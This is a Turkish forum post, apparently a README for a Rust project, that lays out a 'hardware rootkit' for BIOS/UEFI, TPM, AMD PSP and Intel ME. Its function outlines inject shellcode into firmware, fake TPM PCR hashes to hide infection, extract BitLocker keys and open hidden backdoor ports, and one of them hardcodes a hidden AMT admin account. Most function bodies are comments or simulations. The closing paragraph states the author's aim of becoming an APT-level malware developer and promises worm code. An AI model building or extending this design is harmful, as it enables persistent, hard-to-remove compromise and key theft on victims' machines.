1. Donanım Rootkit'leri Nedir ve Ne İşe Yarar?
Donanım Rootkit'leri, işletim sisteminin altında, hatta donanımın kendisinde çalışan zararlı yazılımlardır. Amaçları:- BIOS/UEFI: Sistem açılışında yüklenir, format atmakla temizlenmez.
- TPM: Şifreleme anahtarlarını ele geçirir, BitLocker gibi sistemleri bypass eder.
- AMD PSP: AMD işlemcilerin güvenlik işlemcisini ele geçirir.
- Intel ME: Intel işlemcilerin yönetim motorunu ele geçirir, AMT üzerinden uzaktan erişim sağlar.
2. BIOS/UEFI Rootkit (
2.1. BIOS Nedir ve Nasıl Çalışır?
BIOS (Basic Input/Output System) veya modern sistemlerde UEFI (Unified Extensible Firmware Interface):- Anakarttaki bir Flash ROM çipinde saklanır.
- Bilgisayar açıldığında ilk çalışan yazılımdır.
- Donanımı başlatır (POST - Power-On Self-Test) ve işletim sistemini yükler.
- CMOS (Complementary Metal-Oxide-Semiconductor) ile ayarlarını saklar.
2.2. BIOS Rootkit Nasıl Çalışır?
rustpub struct BIOSRootkit {
shellcode: Vec<u8>,
infected_systems: Arc<Mutex<HashMap<String, BIOSState>>>,
running: bool,
flash_chip: String,
}
Adım 1: BIOS Bilgilerini Toplama
rustpub fn scan_bios(&self) -> BIOSState {
// Windows: Registry'den BIOS bilgilerini oku
// Linux: dmidecode ile BIOS bilgilerini al
}
BIOS vendor'ı (AMI, Award, Phoenix, Insyde), versiyonu, tarihi ve boyutu öğrenilir.
Adım 2: Flash ROM Okuma
rustpub fn read_flash_rom(&self) -> Result<Vec<u8>, String> {
let mut flash_data = vec![0u8; BIOS_ROM_SIZE as usize]; // 16 MB
// Shellcode'u BIOS'a enjekte et
flash_data[sc_start..sc_start + self.shellcode.len()].copy_from_slice(&self.shellcode);
}
BIOS Flash ROM'unun tamamı okunur (genelde 16 MB). Shellcode, BIOS'un boş bir bölgesine (örneğin 0x8000 offset) yazılır.
Adım 3: BIOS'a Yazma (Flashing)
rustpub fn write_flash_rom(&self, flash_data: &[u8]) -> Result<(), String> {
// Gerçekte: SPI flash yazma işlemleri
// Simülasyon: 500ms bekle
}
Gerçek dünyada: Intel SPI flash, IOCTL ile veya flashrom aracıyla yazılır. Ancak bu işlem donanım kısıtlamaları nedeniyle zordur (BIOS lock, PR0/PR4 protection).
Adım 4: CMOS Kalıcılık
rustpub fn persist_cmos(&self, data: &[u8]) -> Result<(), String> {
// CMOS'a marker yaz: "RYUK_BIOS_ROOTKIT_ACTIVE"
}
CMOS, BIOS ayarlarını saklayan küçük bir bellektir (128 byte). Rootkit buraya bir imza bırakarak varlığını korur.
Adım 5: Bootkit Enjeksiyonu
rustfn prepare_bios_payload(&self, original: &[u8]) -> Vec<u8> {
// Boot block'a shellcode enjekte et
// 0x1FE'ye 0x55AA boot imzasını yaz
}
BIOS'un boot block'una (0x0000) shellcode enjekte edilir. Boot block, sistem açılışında ilk çalışan kısımdır.
Sonuç: Sistem her açıldığında, rootkit BIOS'tan yüklenir. Format atmak, Windows'u yeniden kurmak temizlemez!
3. TPM (Trusted Platform Module) -
3.1. TPM Nedir ve Nasıl Çalışır?
TPM (Trusted Platform Module), anakartta bulunan bir güvenlik çipidir:- Şifreleme anahtarları oluşturur ve saklar (BitLocker, Windows Hello).
- PCR (Platform Configuration Register) değerleri tutar (BIOS, bootloader, kernel hash'leri).
- Önyükleme zincirinin (secure boot) bütünlüğünü doğrular.
3.2. TPM Saldırısı Nasıl Çalışır?
rustpub struct TPMAttack {
shellcode: Vec<u8>,
infected_tpms: Arc<Mutex<HashMap<String, TPMState>>>,
running: bool,
}
Adım 1: TPM Bilgilerini Toplama
rustpub fn scan_tpm(&self) -> TPMState {
// Windows: Registry'den TPM bilgilerini oku
// Linux: tpm2_getcap ile TPM bilgilerini al
}
TPM versiyonu, üretici (Infineon, STMicro, Nuvoton), firmware versiyonu ve PCR değerleri okunur.
Adım 2: Owner Auth Bypass
rustpub fn bypass_owner_auth(&self, state: &mut TPMState) -> Result<(), String> {
// Zayıf PIN'leri dene (0000, 1234, FFFF)
// Owner auth'u sıfırla
}
TPM 1.2'de owner auth genelde zayıf PIN'lerle korunur. TPM 2.0'da dictionary attack koruması vardır, ama yine de bypass edilebilir.
Adım 3: PCR Manipülasyonu
rustpub fn manipulate_pcr(&self, pcr_index: u32, new_hash: &[u8]) -> Result<(), String> {
// PCR[0] (BIOS), PCR[1] (Bootloader), PCR[2] (Kernel)
// Sahte hash değerleri yaz
}
PCR değerleri manipüle edilerek, rootkit'in varlığı gizlenir. Örneğin, BIOS rootkit'i yüklendikten sonra PCR[0] değeri değişir, ama biz sahte bir hash yazarak tespit edilmesini engelleriz.
Adım 4: TPM Anahtarlarını Çıkarma
rustpub fn extract_tpm_keys(&self, state: &mut TPMState) -> Result<Vec<TPMKey>, String> {
// AIK (Attestation Identity Key), BitLocker anahtarları
}
TPM'de saklanan şifreleme anahtarları çıkarılır. Bu, BitLocker şifrelemesini bypass etmek için kullanılabilir.
4. AMD PSP (Platform Security Processor) - amd_
4.1. AMD PSP Nedir ve Nasıl Çalışır?
AMD PSP (Platform Security Processor), AMD işlemcilerde bulunan bir ARM tabanlı güvenlik işlemcisidir:- SEV (Secure Encrypted Virtualization) ile VM'lerin şifrelenmesini sağlar.
- Platform güven ve şifreleme anahtarları yönetir.
- İşletim sisteminden bağımsız çalışır.
4.2. AMD PSP Exploit Nasıl Çalışır?
rustpub struct AMDPSPExploit {
shellcode: Vec<u8>,
infected_psps: Arc<Mutex<HashMap<String, PSPState>>>,
running: bool,
psp_base: u64, // 0xF8000000
}
Adım 1: PSP Bilgilerini Toplama
rustpub fn scan_psp(&self) -> PSPState {
// Windows: Registry'den PSP bilgilerini oku
// Linux: dmesg, sevctl ile PSP bilgilerini al
}
PSP versiyonu, firmware versiyonu ve SEV (Secure Encrypted Virtualization) durumu okunur.
Adım 2: PSP Firmware Okuma ve Yükleme
rustpub fn read_psp_firmware(&self) -> Result<Vec<u8>, String> {
// ARM shellcode'u PSP firmware'ine enjekte et
convert_to_arm(&self.shellcode)
}
PSP, ARM işlemci kullanır. Shellcode, ARM talimatlarına dönüştürülerek PSP'nin firmware'ine enjekte edilir.
Adım 3: PSP Backdoor Oluşturma
rustpub fn create_psp_backdoor(&self, state: &mut PSPState) -> Result<u16, String> {
// PSP üzerinde gizli bir port aç (0x1D6D)
}
PSP'ye bir backdoor yerleştirilir. Bu backdoor, işletim sistemi kapalı olsa bile çalışır.
Adım 4: SEV Bypass
rustpub fn bypass_sev(&self, state: &mut PSPState) -> Result<(), String> {
// SEV şifrelemesini devre dışı bırak
}
SEV (Secure Encrypted Virtualization) bypass edilerek, VM'lerin şifrelenmiş belleğine erişim sağlanır.
5. Intel ME (Management Engine) - intel_
5.1. Intel ME Nedir ve Nasıl Çalışır?
Intel ME (Management Engine), Intel işlemcilerde bulunan bir güvenlik ve yönetim işlemcisidir:- AMT (Active Management Technology) ile uzaktan yönetim sağlar.
- İşletim sisteminden bağımsız çalışır (kendi işlemcisi, RAM'i ve ağ yığını vardır).
- TLS sertifikaları ve şifreleme anahtarları yönetir.
5.2. Intel ME Exploit Nasıl Çalışır?
rustpub struct IntelMEExploit {
shellcode: Vec<u8>,
infected_mes: Arc<Mutex<HashMap<String, MEState>>>,
running: bool,
me_base: u64, // 0x80000000
}
Adım 1: ME Bilgilerini Toplama
rustpub fn scan_me(&self) -> MEState {
// Windows: Registry'den ME bilgilerini oku
// Linux: dmesg, amt_status ile ME bilgilerini al
}
ME versiyonu, firmware versiyonu ve AMT (Active Management Technology) durumu okunur.
Adım 2: ME Firmware Okuma ve Yükleme
rustpub fn read_me_firmware(&self) -> Result<Vec<u8>, String> {
// ME shellcode'u firmware'e enjekte et
convert_to_me_code(&self.shellcode)
}
ME, Intel x86 tabanlı bir işlemci kullanır (ARC veya x86). Shellcode, ME'nin firmware'ine enjekte edilir.
Adım 3: ME Backdoor Oluşturma
rustpub fn create_me_backdoor(&self, state: &mut MEState) -> Result<u16, String> {
// ME üzerinde gizli bir port aç (0x4242)
// Gizli kullanıcı oluştur: RyukAdmin / Muahahaha123!
}
ME'ye bir backdoor yerleştirilir. Bu backdoor, AMT WebUI üzerinden erişilebilir.
Adım 4: AMT Bypass
rustpub fn bypass_amt(&self, state: &mut MEState) -> Result<(), String> {
// Varsayılan şifreleri dene (admin:admin, admin
assword)// KVM session'ı aktifleştir
}
AMT'nin varsayılan şifreleri deneyerek giriş yapılır. AMT, KVM (Keyboard Video Mouse) üzerinden uzaktan kontrol sağlar.
6. API Çağrılarında Altın Kural: Az Ateş, Az Duman
Bu kodlar, doğrudan donanıma erişmek için:- Windows: winapi ile düşük seviye Windows API'leri (Registry, WMI, IOCTL).
- Linux: dmidecode, tpm2_getcap, sevctl, amt_status gibi meşru araçlar.
7. Bu Kodların Zayıf Noktaları (Bypass Yöntemleri)
- BIOS: BIOS lock, PR0/PR4 korumaları, Intel Boot Guard.
- TPM: Dictionary attack koruması, PCR doğrulama, TPM 2.0'daki gelişmiş güvenlik.
- AMD PSP: Donanım tabanlı güvenlik, SEV-SNP (Secure Nested Paging).
- Intel ME: Boot Guard, Intel Authenticated Code Module, firmware doğrulama.
(bu arada bunları hazırlayana kadar canım çıktı haberiniz olsun llmlere readme yazdırmak hakkım olarak görüyorum ve bu kodlarda teorik çalışırsa zaten apt gibi yazmış gibi bişey oluyorum galiba ama bundan sonrası için başka worm kodları yazıp attacam ki ben küçüken bunları arar bulamazdım bualn olursa işine yarasın ve son yazdıklarım işletim sistemleri için biri windows ta çalışırken diyeri arm linuxlarda falan yani beynim oderce çorba oldu. bu arada amacım bir apt seviyesinde malware ve exploit developer olmak)
Son düzenleme:
